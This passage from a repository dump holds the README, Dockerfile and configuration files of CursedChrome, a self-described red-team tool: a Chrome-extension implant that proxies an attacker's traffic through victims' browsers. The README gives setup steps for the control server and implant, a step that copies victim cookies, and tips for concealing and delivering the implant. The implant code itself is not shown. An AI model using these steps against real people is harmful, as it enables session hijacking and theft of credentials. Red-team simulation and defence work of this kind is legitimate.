├── .gitignore
├── Dockerfile
├── LICENSE
├── README.md
├── SECURITY.md
├── anyproxy
├── .babelrc
├── .eslintignore
├── .eslintrc
├── CHANGELOG
├── LICENSE
├── README.md
├── bin
│ ├── anyproxy
│ ├── anyproxy-ca
│ ├── rootCACheck.js
│ └── startServer.js
├── lib
│ ├── certMgr.js
│ ├── configUtil.js
│ ├── httpsServerMgr.js
│ ├── log.js
│ ├── node-easy-cert
│ │ ├── certGenerator.js
│ │ ├── errorConstants.js
│ │ ├── index.js
│ │ ├── util.js
│ │ └── winCertUtil.js
│ ├── recorder.js
│ ├── requestErrorHandler.js
│ ├── requestHandler.js
│ ├── ruleLoader.js
│ ├── rule_default.js
│ ├── systemProxyMgr.js
│ ├── util.js
│ ├── webInterface.js
│ ├── wsServer.js
│ └── wsServerMgr.js
├── module_sample
│ ├── core_reload.js
│ ├── https_config.js
│ ├── normal_use.js
│ └── simple_use.js
├── package.json
├── proxy.js
├── resource
│ ├── 502.pug
│ ├── cert_download.pug
│ └── cert_error.pug
└── test.js
├── api-server.js
├── cookie-sync-extension
├── icons
│ ├── icon128.png
│ ├── icon16.png
│ └── icon48.png
├── manifest.json
└── src
│ └── browser_action
│ ├── bootstrap.bundle.min.js
│ ├── bootstrap.min.css
│ ├── browser_action.html
│ ├── css
│ ├── all.css
│ ├── all.min.css
│ ├── brands.css
│ ├── brands.min.css
│ ├── fontawesome.css
│ ├── fontawesome.min.css
│ ├── regular.css
│ ├── regular.min.css
│ ├── solid.css
│ ├── solid.min.css
│ ├── svg-with-js.css
│ ├── svg-with-js.min.css
│ ├── v4-shims.css
│ └── v4-shims.min.css
│ ├── jquery-3.5.1.min.js
│ ├── main.js
│ ├── popper.min.js
│ ├── toastr.css
│ ├── toastr.min.js
│ ├── vue.js
│ └── webfonts
│ ├── fa-brands-400.eot
│ ├── fa-brands-400.svg
│ ├── fa-brands-400.ttf
│ ├── fa-brands-400.woff
│ ├── fa-brands-400.woff2
│ ├── fa-regular-400.eot
│ ├── fa-regular-400.svg
│ ├── fa-regular-400.ttf
│ ├── fa-regular-400.woff
│ ├── fa-regular-400.woff2
│ ├── fa-solid-900.eot
│ ├── fa-solid-900.svg
│ ├── fa-solid-900.ttf
│ ├── fa-solid-900.woff
│ └── fa-solid-900.woff2
├── database.js
├── docker-compose.yaml
├── docker-entrypoint.sh
├── extension
├── _locales
│ └── en
│ │ └── messages.json
├── icons
│ ├── icon128.png
│ ├── icon16.png
│ └── icon48.png
├── manifest.json
├── redirect-hack.html
└── src
│ └── bg
│ └── background.js
├── gui
├── .gitignore
├── README.md
├── babel.config.js
├── package-lock.json
├── package.json
├── public
│ ├── favicon.ico
│ ├── img
│ │ └── background.png
│ ├── index.html
│ └── js
│ │ └── clipboard.min.js
└── src
│ ├── App.vue
│ ├── assets
│ └── logo.png
│ ├── components
│ └── Main.vue
│ └── main.js
├── images
├── browsing-as-victim-browser.png
├── cursed-chrome-web-panel.png
├── cursedchrome-diagram.png
├── doll.svg
├── icon.png
└── sync-cookie-extension.png
├── package-lock.json
├── package.json
├── server.js
├── ssl
└── .blank
└── utils.js
/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/*
2 | .DS_Store
3 | *.key
4 | *.crt
5 | *.env
6 | dev.sh
--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:12.16.2-stretch
2 |
3 | RUN mkdir /work/
4 | WORKDIR /work/
5 | COPY package.json /work/
6 | COPY package-lock.json /work/
7 | RUN npm install
8 |
9 | COPY ./anyproxy /work/anyproxy/
10 | RUN /work/anyproxy/bin/anyproxy-ca --generate
11 | RUN mkdir /work/ssl/
12 | RUN cp /root/.anyproxy/certificates/rootCA.crt /work/ssl/
13 | RUN cp /root/.anyproxy/certificates/rootCA.key /work/ssl/
14 |
15 | # Copy over and build front-end
16 | COPY gui /work/gui
17 | WORKDIR /work/gui
18 | RUN npm install
19 | RUN npm run build
20 |
21 | WORKDIR /work/
22 |
23 | COPY utils.js /work/
24 | COPY api-server.js /work/
25 | COPY server.js /work/
26 | COPY database.js /work/
27 | COPY docker-entrypoint.sh /work/
28 |
29 | # For debugging/hot-reloading
30 | #RUN npm install -g nodemon
31 |
32 | ENTRYPOINT ["/work/docker-entrypoint.sh"]
33 | #ENTRYPOINT ["node", "/work/server.js"]
34 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2020 Matthew Bryant
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CursedChrome
2 | ## *Now with (beta) Manifest V3 support!*
3 |
4 |
5 | 



6 |
7 |
8 | ### NOTICE
9 |
10 | I thought this was clearly-implied, and that these disclaimers were redundant at this point, but:
11 |
12 | > This is a tool written for *professional red teams*. It helps simulate an often unpracticed attack scenario involving malicious browser extensions. If you're planning on using this to maliciously spy on your friend/girlfriend/victims, let me know your address and intent and I'll gladly forward your message to your local LEO for your convenience.
13 |
14 | For the [many](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/rilide-a-new-malicious-browser-extension-for-stealing-cryptocurrencies/) Russian [ecrime](https://www.justice.gov/opa/pr/criminal-marketplace-disrupted-international-cyber-operation) groups that forked this project for their botnet, see the following disclaimer instead:
15 |
16 | > Разве ты не должен быть на передовой, товарищ? Тебя ждет беспилотник.
17 |
18 | ### Blue Teams/Defenders/CorpSec
19 | If you're on the blue team and wondering about ways to defend against this, take a look at my [ChromeGalvanizer project](https://github.com/mandatoryprogrammer/ChromeGalvanizer), which generates easy-to-install Chrome enterprise policies to defend against attacks like this. An easy-to-use hosted version is available [here](https://thehackerblog.com/galvanizer/).
20 |
21 |
22 | # What is it?
23 | A ([cursed](https://knowyourmeme.com/memes/cursed-image)) Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies. By using the proxies this tool creates you can browse the web authenticated as your victim for all of their websites.
24 |
25 | # Why make it?
26 |
27 | More and more companies are moving toward the ["BeyondCorp"](https://en.wikipedia.org/wiki/BeyondCorp) model (e.g. no flat internal network, zero trust everything). This is usually implemented via a [reverse proxy/OAuth wall](https://github.com/bitly/oauth2_proxy) gating access to services, eliminating the need for a VPN. As access and tooling move towards being strictly available via the web browser, having a way to easily hijack and use victim's web sessions becomes an ever increasing necessity.
28 |
29 | This is also especially useful for locked down orgs that make use of [Chrome OS](https://en.wikipedia.org/wiki/Chrome_OS) where traditional malware can't be used at all. It's also steathy, as all requests will have the appropriate source-IP, cookies, client-certificates, etc since it's being proxying directly through the victim's browser.
30 |
31 | # Screenshots
32 |
33 | ## Web Admin Panel
34 | 
35 |
36 | ## Browsing Websites Logged In as Victim (using Firefox with HTTP Proxy)
37 | 
38 |
39 | # (Rough) Infrastructure Diagram (`docker-compose` Used)
40 |
41 | 
42 |
43 | # Ports & Listening Interfaces
44 |
45 | - `127.0.0.1:8080`: HTTP proxy server (using one of the credentials in the admin panel, you can auth to a specific victim's Chrome browser via this HTTP proxy server). You also need to install the generated CA available via the admin panel before using this.
46 | - `127.0.0.1:4343`: Websocket server, used for communicating with victim Chrome instances to transfer HTTP requests for proxying and sending commands.
47 | - `127.0.0.1:8118`: Admin web panel for viewing victim Chrome instances and getting HTTP proxy credentials.
48 |
49 | **IMPORTANT**: If you are proxying through CursedChrome using **Firefox** please use [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/). The built-in proxy support for Firefox has bugs in its implementation of authenticated HTTP proxies which will drive you to madness.
50 |
51 | # Requirements
52 |
53 | * [`docker`](https://docs.docker.com/get-docker/) and [`docker-compose`](https://docs.docker.com/compose/install/)
54 | * Chrome web browser
55 |
56 | # Installation & Setup (~5-10 Minutes)
57 |
58 | ## Step-By-Step Video Tutorial
59 |
60 | If you're looking for an easy video walkthrough on setting up CursedChrome [check out this video](https://www.youtube.com/watch?v=cdSXdwa5trc) created by [@TurvSec](https://twitter.com/TurvSec).
61 |
62 | If you'd prefer just reading the installation instructions, continue on.
63 |
64 | ## Setting Up the Backend
65 |
66 | The backend is entirely dockerized and can be setup by running the following commands:
67 |
68 | ```
69 | cd cursedchrome/
70 | # Start up redis and Postgres containers in the background
71 | docker-compose up -d redis db
72 | # Start the CursedChrome backend
73 | docker-compose up cursedchrome
74 | ```
75 |
76 | Once you start up the backend you'll see an admin username and password printed to the console. You can log into the admin panel at `http://localhost:8118` using these credentials (you will be prompted to change your password upon logging in since the one printed to the console is likely logged).
77 |
78 | ## Installing the CursedChrome CA for Proxying HTTPS
79 |
80 | Once you have the backend setup, log in to the admin panel at `http://localhost:8118` (see above) and click the `Download HTTPS Proxy CA Certificate` button. This will download the generated CA file which is required in order to proxy HTTPS requests.
81 |
82 | You will need to install this CA into your root store, the following are instructions for various OS/browsers:
83 |
84 | * [OS X/Mac](https://www.sslsupportdesk.com/how-to-import-a-certificate-into-mac-os/)
85 | * [Windows](https://www.sslsupportdesk.com/how-to-enable-or-disable-all-puposes-of-root-certificates-in-mmc/)
86 | * [Linux](https://thomas-leister.de/en/how-to-import-ca-root-certificate/)
87 | * [Firefox (any OS)](https://support.securly.com/hc/en-us/articles/360008547993-How-to-Install-Securly-s-SSL-Certificate-in-Firefox-on-Windows)
88 |
89 | **IMPORTANT**: If you are proxying through CursedChrome using **Firefox** please use [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/). The built-in proxy support for Firefox has bugs in its implementation of authenticated HTTP proxies which will drive you to madness.
90 |
91 | ## Setting Up the Example Chrome Extension Implant
92 |
93 | To install the example chrome extension implant, do the following:
94 |
95 | * Open up a Chrome web browser and navigate to `chrome://extensions`.
96 | * Click the toggle in the top-right corner of the page labeled `Developer mode` to enable it.
97 | * Click the `Load unpacked` button in the top-left corner of the page.
98 | * Open the `extension/` folder inside of this repo folder.
99 | * Once you've done so, the extension will be installed.
100 |
101 | *Note:* You can debug the implant by clicking on the `background page` link for the text `Inspect views background page` under the `CursedChrome Implant` extension.
102 |
103 | After you've install the extension it will show up on the admin control panel at `http://localhost:8118`.
104 |
105 | ## *Required for some sites*: Sync Cookies from Remote Victim
106 |
107 | Some sites* require client-side (e.g. JavaScript utilized) cookies, for these sites you'll need to have the `cookies` permission in your implant's `manifest.json` in addition to the other required permissions.
108 |
109 | If you have this permission declared, you can then use the Firefox/Chrome extension found in the `cookie-sync-extension/` folder. Load it into your web browser, enter the web panel URL (usually `http://localhost:8118`) and your bot's username/password and click the `Sync Remote Implant Cookies` to load all of your victim's cookies locally.
110 |
111 | **NOTE:** For Firefox you will need to load the `manifest.json` file as a [temporary add on](https://blog.mozilla.org/addons/2015/12/23/loading-temporary-add-ons/).
112 |
113 | *How magical!*
114 |
115 | *Google Cloud Console is one of these sites - why Google? Why?*
116 |
117 | 
118 |
119 | # Production/Operational Usage
120 |
121 | ## Modifying Implant Extension
122 |
123 | An example implant extension has been included under the `extension/` folder. This extension has the `extension/src/bg/background.js` file which has the extension-side of the implant that connects to the service via WebSocket to proxy requests through the victim's web browser.
124 |
125 | The following [extension permissions](https://developer.chrome.com/extensions/api_index) are needed by the implant to operate:
126 |
127 | ```
128 | "permissions": [
129 | "webRequest",
130 | "webRequestBlocking",
131 | ""
132 | ]
133 | ```
134 |
135 | If you want to utilize the Cookie Sync extension to sync the remote browser's cookies with your own (required for some sites), ensure the permission `cookies` is also declared.
136 |
137 | This code contains comments on how to modify it for a production setup. Basically doing the following:
138 |
139 | * Minifying/stripping/uglifying the JavaScript code
140 | * Modifying the WebSocket connection URI in the `initialize()` function to point to the host you've set up the backend on. By default it's set to `ws://localhost:4343` which will work with the out-of-the-box dev setup described in this README.
141 | * If you are using this in an attack scnario, you will also need to find where `redirect-hack.html` is referenced in `background.js` and replace instances with *an HTML file which already exists in the extension you're overriding*. Viewing the extension's source should make this easy.
142 |
143 | In a real world attack, this extension code would be used in one of the following ways:
144 |
145 | * Injected into an existing extension with proper permissions via Chrome debugging protocol.
146 | * Hidden inside of another extension
147 | * Force-installed via Chrome enterprise policy
148 |
149 | These topics are outside of the scope of this README, but eventually will be covered separately.
150 |
151 | ## Further Notes on Production Deployments
152 |
153 | * You will likely want to run an Nginx server with a valid HTTPS certificate doing a `proxy_pass` to the WebSocket server (running on `127.0.0.1:4343`). Then you'll have TLS-encrypted websocket traffic. If you go this route, you'll want to update your Websocket address from `ws://` -> `wss://`.
154 | * For a more secure setup, don't expose the HTTP proxy & and admin panel to the Internet directly. Opt for SSL port-forwarding or using a bastion server to connect to it.
155 | * For situations with a large number of victims/bots/implants running, you can horizontally scale out the CursedChrome server as wide as you need to. The socket handling is completely decoupled via `redis`, so it can suppose (theoretically) tens of thousands of concurrent clients.
156 |
157 | ## Attributions
158 |
159 | * The [AnyProxy source code](https://github.com/alibaba/anyproxy) was heavily modified and used for part of this project.
160 | * The icon for this project was designed by [`monochromeye`](https://www.fiverr.com/monochromeye) on Fiverr (paid), if you're looking for graphic design work check her services out.
161 |
--------------------------------------------------------------------------------
/SECURITY.md:
--------------------------------------------------------------------------------
1 | # Security Policy
2 |
3 | ## Reporting a Vulnerability
4 |
5 | For security vulnerabilities please report them to mandatory (at) gmail (.) com. I'll try to fix issues as soon as possible (although keep in mind, this is a side-project and there are only so many hours in a day so bare with me).
6 |
--------------------------------------------------------------------------------
/anyproxy/.babelrc:
--------------------------------------------------------------------------------
1 | {
2 | "presets": [
3 | "es2015",
4 | "stage-0"
5 | ]
6 | }
--------------------------------------------------------------------------------
/anyproxy/.eslintignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | dist
3 | web
4 | web2
5 | resource
6 | *.sh
7 | docs
--------------------------------------------------------------------------------
/anyproxy/.eslintrc:
--------------------------------------------------------------------------------
1 | {
2 | "extends": "airbnb",
3 | "parser": "babel-eslint",
4 | "env": {
5 | "browser": true,
6 | "node": true,
7 | "es6": true,
8 | "jasmine": true
9 | },
10 | "globals": {
11 | "React": true,
12 | "ReactDOM": true,
13 | "Zepto": true,
14 | "JsBridgeUtil": true
15 | },
16 | "rules": {
17 | "semi": [0],
18 | "comma-dangle": [0],
19 | "global-require": [0],
20 | "no-alert": [0],
21 | "no-console": [0],
22 | "no-param-reassign": [0],
23 | "max-len": [0],
24 | "func-names": [0],
25 | "no-underscore-dangle": [0],
26 | "no-unused-vars": ["error", { "vars": "all", "args": "none", "ignoreRestSiblings": false }],
27 | "object-shorthand": [0],
28 | "arrow-body-style": [0],
29 | "no-new": [0],
30 | "strict": [0],
31 | "no-script-url": [0],
32 | "spaced-comment": [0],
33 | "no-empty": [0],
34 | "no-constant-condition": [0],
35 | "no-else-return": [0],
36 | "no-use-before-define": [0],
37 | "no-unused-expressions": [0],
38 | "no-class-assign": [0],
39 | "new-cap": [0],
40 | "array-callback-return": [0],
41 | "prefer-template": [0],
42 | "no-restricted-syntax": [0],
43 | "no-trailing-spaces": [0],
44 | "import/no-unresolved": [0],
45 | "jsx-a11y/img-has-alt": [0],
46 | "camelcase": [0],
47 | "consistent-return": [0],
48 | "guard-for-in": [0],
49 | "one-var": [0],
50 | "react/wrap-multilines": [0],
51 | "react/no-multi-comp": [0],
52 | "react/jsx-no-bind": [0],
53 | "react/prop-types": [0],
54 | "react/prefer-stateless-function": [0],
55 | "react/jsx-first-prop-new-line": [0],
56 | "react/sort-comp": [0],
57 | "import/no-extraneous-dependencies": [0],
58 | "import/extensions": [0],
59 | "react/forbid-prop-types": [0],
60 | "react/require-default-props": [0],
61 | "class-methods-use-this": [0],
62 | "jsx-a11y/no-static-element-interactions": [0],
63 | "react/no-did-mount-set-state": [0],
64 | "jsx-a11y/alt-text": [0],
65 | "import/no-dynamic-require": [0],
66 | "no-extra-boolean-cast": [0],
67 | "no-lonely-if": [0],
68 | "no-plusplus": [0],
69 | "generator-star-spacing": ["error", {"before": true, "after": false}],
70 | "require-yield": [0],
71 | "arrow-parens": [0],
72 | "no-template-curly-in-string": [0],
73 | "no-mixed-operators": [0]
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/anyproxy/CHANGELOG:
--------------------------------------------------------------------------------
1 | 22 Dec 2016: AnyProxy 4.0.0-beta:
2 |
3 | * to AnyProxy rules: all the rule interfaces are asynchronous now, you can write them in a Promise way
4 | * to the UI, rewrite the code and enhance the user experience
5 |
6 | 26 Feb 2016: AnyProxy 3.10.4:
7 |
8 | * let users assign the port for web socket in AnyProxy cli
9 |
10 | 19 Sep 2016: AnyProxy 3.10.3:
11 |
12 | * fix the cert path issue with Windows
13 | * split out the cert management to an independent module
14 | * add unit tests to AnyProxy
15 |
16 | 29 Apr 2016: AnyProxy 3.10.0:
17 |
18 | * using node-forge to generate HTTPS certificates instead of openssl
19 |
20 | 29 Apr 2016: AnyProxy 3.9.1:
21 |
22 | * update SHA1 to SHA256 for openssl certificates
23 |
24 | 19 Nov 2015: AnyProxy 3.8.1:
25 |
26 | * bugfix for image content in web GUI
27 |
28 | 19 Nov 2015: AnyProxy 3.8.1:
29 |
30 | * bugfix for image content in web GUI
31 |
32 | 16 Nov 2015: AnyProxy 3.8.0:
33 |
34 | * optimize the memory strategy
35 |
36 | 2 Oct 2015: AnyProxy 3.7.7:
37 |
38 | * bugfix for proxy.close() ref #36
39 |
40 | 9 Sep 2015: AnyProxy 3.7.6:
41 |
42 | * optimize detail panel, ref #35
43 |
44 | 3 Sep 2015: AnyProxy 3.7.5:
45 |
46 | * bugfix for intercepting urls like http://a.com?url=http://b.com
47 |
48 | 19 Aug 2015: AnyProxy 3.7.4:
49 |
50 | * bugfix for intercepting urls like http://a.com?url=http://b.com
51 |
52 | 31 July 2015: AnyProxy 3.7.3:
53 |
54 | * show lastest 100 records when visit the web ui
55 | * save map-local config file to local file
56 | * show an indicator when filter or map-local is in use
57 |
58 | 31 July 2015: AnyProxy 3.7.2:
59 |
60 | * bugfix for issue #29
61 |
62 | 28 July 2015: AnyProxy 3.7.1:
63 |
64 | * fix a bug about deflate compression
65 |
66 | 20 July 2015: AnyProxy 3.7.0:
67 |
68 | * add a map-local panel on web ui, now you can easily map some request to your local files
69 |
70 | 1 July 2015: AnyProxy 3.6.0:
71 |
72 | * add a filter on web ui
73 |
74 | 1 July 2015: AnyProxy 3.5.2:
75 |
76 | * optimize the row height on web ui
77 |
78 | 18 June 2015: AnyProxy 3.5.1:
79 |
80 | * print a hint when using SNI features in node <0.12
81 | * Ref : https://github.com/alibaba/anyproxy/issues/25
82 |
83 | 18 June 2015: AnyProxy 3.5.0:
84 |
85 | * it's a formal release of 3.4.0@beta.
86 |
87 | 27 Apr 2015: AnyProxy 3.4.0@beta:
88 |
89 | * optimize web server and web socket interface
90 |
91 | 20 Apr 2015: AnyProxy 3.3.1:
92 |
93 | * now you can assign your own port for web gui
94 |
95 | 31 Mar 2015: AnyProxy 3.3.0:
96 |
97 | * optimize https features in windows
98 | * add switch to mute the console
99 |
100 | 20 Mar 2015: AnyProxy 3.2.5:
101 |
102 | * bugfix for internal https server
103 |
104 | 19 Mar 2015: AnyProxy 3.2.4:
105 |
106 | * bugfix for absolute rule path
107 |
108 | 23 Feb 2015: AnyProxy 3.2.2:
109 |
110 | * [bugfix for relative rule path](https://github.com/alibaba/anyproxy/pull/18)
111 |
112 | 10 Feb 2015: AnyProxy 3.2.1:
113 |
114 | * bugfix for 3.2.0
115 |
116 | 10 Feb 2015: AnyProxy 3.2.0:
117 |
118 | * using SNI when intercepting https requests
119 |
120 | 28 Jan 2015: AnyProxy 3.1.2:
121 |
122 | * thanks to iconv-lite, almost webpage with any charset can be correctly decoded in web interface.
123 |
124 | 28 Jan 2015: AnyProxy 3.1.1:
125 |
126 | * convert GBK to UTF8 in web interface
127 |
128 | 22 Jan 2015: AnyProxy 3.1.0:
129 |
130 | * will NOT intercept https request by default. Use ``anyproxy --intercept`` to turn on this feature.
131 |
132 | 12 Jan 2015: AnyProxy 3.0.4:
133 |
134 | * show anyproxy version by --version
135 |
136 | 12 Jan 2015: AnyProxy 3.0.3:
137 |
138 | * Bugfix: https throttle
139 |
140 | 9 Jan 2015: AnyProxy 3.0.2:
141 |
142 | * UI improvement: add link and qr code to root CA file.
143 |
--------------------------------------------------------------------------------
/anyproxy/LICENSE:
--------------------------------------------------------------------------------
1 |
2 | Apache License
3 | Version 2.0, January 2004
4 | http://www.apache.org/licenses/
5 |
6 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
7 |
8 | 1. Definitions.
9 |
10 | "License" shall mean the terms and conditions for use, reproduction,
11 | and distribution as defined by Sections 1 through 9 of this document.
12 |
13 | "Licensor" shall mean the copyright owner or entity authorized by
14 | the copyright owner that is granting the License.
15 |
16 | "Legal Entity" shall mean the union of the acting entity and all
17 | other entities that control, are controlled by, or are under common
18 | control with that entity. For the purposes of this definition,
19 | "control" means (i) the power, direct or indirect, to cause the
20 | direction or management of such entity, whether by contract or
21 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
22 | outstanding shares, or (iii) beneficial ownership of such entity.
23 |
24 | "You" (or "Your") shall mean an individual or Legal Entity
25 | exercising permissions granted by this License.
26 |
27 | "Source" form shall mean the preferred form for making modifications,
28 | including but not limited to software source code, documentation
29 | source, and configuration files.
30 |
31 | "Object" form shall mean any form resulting from mechanical
32 | transformation or translation of a Source form, including but
33 | not limited to compiled object code, generated documentation,
34 | and conversions to other media types.
35 |
36 | "Work" shall mean the work of authorship, whether in Source or
37 | Object form, made available under the License, as indicated by a
38 | copyright notice that is included in or attached to the work
39 | (an example is provided in the Appendix below).
40 |
41 | "Derivative Works" shall mean any work, whether in Source or Object
42 | form, that is based on (or derived from) the Work and for which the
43 | editorial revisions, annotations, elaborations, or other modifications
44 | represent, as a whole, an original work of authorship. For the purposes
45 | of this License, Derivative Works shall not include works that remain
46 | separable from, or merely link (or bind by name) to the interfaces of,
47 | the Work and Derivative Works thereof.
48 |
49 | "Contribution" shall mean any work of authorship, including
50 | the original version of the Work and any modifications or additions
51 | to that Work or Derivative Works thereof, that is intentionally
52 | submitted to Licensor for inclusion in the Work by the copyright owner
53 | or by an individual or Legal Entity authorized to submit on behalf of
54 | the copyright owner. For the purposes of this definition, "submitted"
55 | means any form of electronic, verbal, or written communication sent
56 | to the Licensor or its representatives, including but not limited to
57 | communication on electronic mailing lists, source code control systems,
58 | and issue tracking systems that are managed by, or on behalf of, the
59 | Licensor for the purpose of discussing and improving the Work, but
60 | excluding communication that is conspicuously marked or otherwise
61 | designated in writing by the copyright owner as "Not a Contribution."
62 |
63 | "Contributor" shall mean Licensor and any individual or Legal Entity
64 | on behalf of whom a Contribution has been received by Licensor and
65 | subsequently incorporated within the Work.
66 |
67 | 2. Grant of Copyright License. Subject to the terms and conditions of
68 | this License, each Contributor hereby grants to You a perpetual,
69 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
70 | copyright license to reproduce, prepare Derivative Works of,
71 | publicly display, publicly perform, sublicense, and distribute the
72 | Work and such Derivative Works in Source or Object form.
73 |
74 | 3. Grant of Patent License. Subject to the terms and conditions of
75 | this License, each Contributor hereby grants to You a perpetual,
76 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
77 | (except as stated in this section) patent license to make, have made,
78 | use, offer to sell, sell, import, and otherwise transfer the Work,
79 | where such license applies only to those patent claims licensable
80 | by such Contributor that are necessarily infringed by their
81 | Contribution(s) alone or by combination of their Contribution(s)
82 | with the Work to which such Contribution(s) was submitted. If You
83 | institute patent litigation against any entity (including a
84 | cross-claim or counterclaim in a lawsuit) alleging that the Work
85 | or a Contribution incorporated within the Work constitutes direct
86 | or contributory patent infringement, then any patent licenses
87 | granted to You under this License for that Work shall terminate
88 | as of the date such litigation is filed.
89 |
90 | 4. Redistribution. You may reproduce and distribute copies of the
91 | Work or Derivative Works thereof in any medium, with or without
92 | modifications, and in Source or Object form, provided that You
93 | meet the following conditions:
94 |
95 | (a) You must give any other recipients of the Work or
96 | Derivative Works a copy of this License; and
97 |
98 | (b) You must cause any modified files to carry prominent notices
99 | stating that You changed the files; and
100 |
101 | (c) You must retain, in the Source form of any Derivative Works
102 | that You distribute, all copyright, patent, trademark, and
103 | attribution notices from the Source form of the Work,
104 | excluding those notices that do not pertain to any part of
105 | the Derivative Works; and
106 |
107 | (d) If the Work includes a "NOTICE" text file as part of its
108 | distribution, then any Derivative Works that You distribute must
109 | include a readable copy of the attribution notices contained
110 | within such NOTICE file, excluding those notices that do not
111 | pertain to any part of the Derivative Works, in at least one
112 | of the following places: within a NOTICE text file distributed
113 | as part of the Derivative Works; within the Source form or
114 | documentation, if provided along with the Derivative Works; or,
115 | within a display generated by the Derivative Works, if and
116 | wherever such third-party notices normally appear. The contents
117 | of the NOTICE file are for informational purposes only and
118 | do not modify the License. You may add Your own attribution
119 | notices within Derivative Works that You distribute, alongside
120 | or as an addendum to the NOTICE text from the Work, provided
121 | that such additional attribution notices cannot be construed
122 | as modifying the License.
123 |
124 | You may add Your own copyright statement to Your modifications and
125 | may provide additional or different license terms and conditions
126 | for use, reproduction, or distribution of Your modifications, or
127 | for any such Derivative Works as a whole, provided Your use,
128 | reproduction, and distribution of the Work otherwise complies with
129 | the conditions stated in this License.
130 |
131 | 5. Submission of Contributions. Unless You explicitly state otherwise,
132 | any Contribution intentionally submitted for inclusion in the Work
133 | by You to the Licensor shall be under the terms and conditions of
134 | this License, without any additional terms or conditions.
135 | Notwithstanding the above, nothing herein shall supersede or modify
136 | the terms of any separate license agreement you may have executed
137 | with Licensor regarding such Contributions.
138 |
139 | 6. Trademarks. This License does not grant permission to use the trade
140 | names, trademarks, service marks, or product names of the Licensor,
141 | except as required for reasonable and customary use in describing the
142 | origin of the Work and reproducing the content of the NOTICE file.
143 |
144 | 7. Disclaimer of Warranty. Unless required by applicable law or
145 | agreed to in writing, Licensor provides the Work (and each
146 | Contributor provides its Contributions) on an "AS IS" BASIS,
147 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
148 | implied, including, without limitation, any warranties or conditions
149 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
150 | PARTICULAR PURPOSE. You are solely responsible for determining the
151 | appropriateness of using or redistributing the Work and assume any
152 | risks associated with Your exercise of permissions under this License.
153 |
154 | 8. Limitation of Liability. In no event and under no legal theory,
155 | whether in tort (including negligence), contract, or otherwise,
156 | unless required by applicable law (such as deliberate and grossly
157 | negligent acts) or agreed to in writing, shall any Contributor be
158 | liable to You for damages, including any direct, indirect, special,
159 | incidental, or consequential damages of any character arising as a
160 | result of this License or out of the use or inability to use the
161 | Work (including but not limited to damages for loss of goodwill,
162 | work stoppage, computer failure or malfunction, or any and all
163 | other commercial damages or losses), even if such Contributor
164 | has been advised of the possibility of such damages.
165 |
166 | 9. Accepting Warranty or Additional Liability. While redistributing
167 | the Work or Derivative Works thereof, You may choose to offer,
168 | and charge a fee for, acceptance of support, warranty, indemnity,
169 | or other liability obligations and/or rights consistent with this
170 | License. However, in accepting such obligations, You may act only
171 | on Your own behalf and on Your sole responsibility, not on behalf
172 | of any other Contributor, and only if You agree to indemnify,
173 | defend, and hold each Contributor harmless for any liability
174 | incurred by, or claims asserted against, such Contributor by reason
175 | of your accepting any such warranty or additional liability.
176 |
177 | END OF TERMS AND CONDITIONS
178 |
179 | APPENDIX: How to apply the Apache License to your work.
180 |
181 | To apply the Apache License to your work, attach the following
182 | boilerplate notice, with the fields enclosed by brackets "[]"
183 | replaced with your own identifying information. (Don't include
184 | the brackets!) The text should be enclosed in the appropriate
185 | comment syntax for the file format. We also recommend that a
186 | file or class name and description of purpose be included on the
187 | same "printed page" as the copyright notice for easier
188 | identification within third-party archives.
189 |
190 | Copyright [yyyy] [name of copyright owner]
191 |
192 | Licensed under the Apache License, Version 2.0 (the "License");
193 | you may not use this file except in compliance with the License.
194 | You may obtain a copy of the License at
195 |
196 | http://www.apache.org/licenses/LICENSE-2.0
197 |
198 | Unless required by applicable law or agreed to in writing, software
199 | distributed under the License is distributed on an "AS IS" BASIS,
200 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
201 | See the License for the specific language governing permissions and
202 | limitations under the License.
--------------------------------------------------------------------------------
/anyproxy/README.md:
--------------------------------------------------------------------------------
1 | AnyProxy
2 | ----------------
3 |
4 | [![NPM version][npm-image]][npm-url]
5 | [![node version][node-image]][node-url]
6 | [![npm download][download-image]][download-url]
7 |
8 | [npm-image]: https://img.shields.io/npm/v/anyproxy.svg?style=flat-square
9 | [npm-url]: https://npmjs.org/package/anyproxy
10 | [node-image]: https://img.shields.io/badge/node.js-%3E=_6.0.0-green.svg?style=flat-square
11 | [node-url]: http://nodejs.org/download/
